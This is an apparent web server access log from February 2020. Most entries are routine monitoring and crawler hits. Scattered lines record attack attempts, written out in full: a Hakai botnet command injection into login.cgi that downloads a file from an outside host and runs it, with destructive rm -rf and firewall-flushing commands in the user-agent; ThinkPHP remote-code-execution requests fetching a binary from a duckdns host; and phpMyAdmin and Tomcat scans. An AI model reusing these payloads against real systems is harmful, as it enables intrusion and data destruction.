66.249.64.43 - - [18/Feb/2020:21:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:21:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.236.4.229 - - [18/Feb/2020:21:40:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
196.52.43.94 - - [18/Feb/2020:21:41:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:21:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.236.187.80 - - [18/Feb/2020:21:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.225.215.221 - - [18/Feb/2020:21:42:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:21:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.134.197.205 - - [18/Feb/2020:21:44:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:21:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.187.30.122 - - [18/Feb/2020:21:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [18/Feb/2020:21:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.187.110.175 - - [18/Feb/2020:21:51:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:21:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.46.233.248 - - [18/Feb/2020:21:53:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:21:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.249.81.2 - - [18/Feb/2020:21:55:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:21:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.144.240.162 - - [18/Feb/2020:22:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
216.144.240.162 - - [18/Feb/2020:22:05:45 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.85/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.91.246.72 - - [18/Feb/2020:22:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.48 - - [18/Feb/2020:22:06:59 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.46 - - [18/Feb/2020:22:06:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:22:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:22:19:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:22:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.139.141.66 - - [18/Feb/2020:22:22:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:22:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.31.116.217 - - [18/Feb/2020:22:23:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [18/Feb/2020:22:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [18/Feb/2020:22:25:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:22:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.28.171.179 - - [18/Feb/2020:22:33:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:22:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
118.174.64.39 - - [18/Feb/2020:22:34:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 Gecko/20100101"
212.91.246.72 - - [18/Feb/2020:22:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.211 - - [18/Feb/2020:22:37:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.211 - - [18/Feb/2020:22:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:22:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.243.127 - - [18/Feb/2020:22:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:22:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [18/Feb/2020:22:42:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:22:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [18/Feb/2020:22:43:42 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:22:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.9.163 - - [18/Feb/2020:22:47:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:22:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.31.163.237 - - [18/Feb/2020:22:48:36 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [18/Feb/2020:22:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.167.49.169 - - [18/Feb/2020:22:51:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:22:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.215.221 - - [18/Feb/2020:22:53:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:22:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.91.219.193 - - [18/Feb/2020:22:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
222.186.19.221 - - [18/Feb/2020:22:55:02 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [18/Feb/2020:22:55:03 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:22:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:22:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [18/Feb/2020:22:58:35 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [18/Feb/2020:22:58:39 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:22:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.128.76.182 - - [18/Feb/2020:22:59:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:22:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.145.1.85 - - [18/Feb/2020:23:02:08 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:23:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [18/Feb/2020:23:03:42 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:23:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.59.140.199 - - [18/Feb/2020:23:05:19 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
139.59.140.199 - - [18/Feb/2020:23:05:19 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
139.59.140.199 - - [18/Feb/2020:23:05:19 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
139.59.140.199 - - [18/Feb/2020:23:05:19 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
139.59.140.199 - - [18/Feb/2020:23:05:19 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
139.59.140.199 - - [18/Feb/2020:23:05:19 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [18/Feb/2020:23:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [18/Feb/2020:23:05:43 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:23:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [18/Feb/2020:23:10:05 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [18/Feb/2020:23:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [18/Feb/2020:23:12:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:23:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
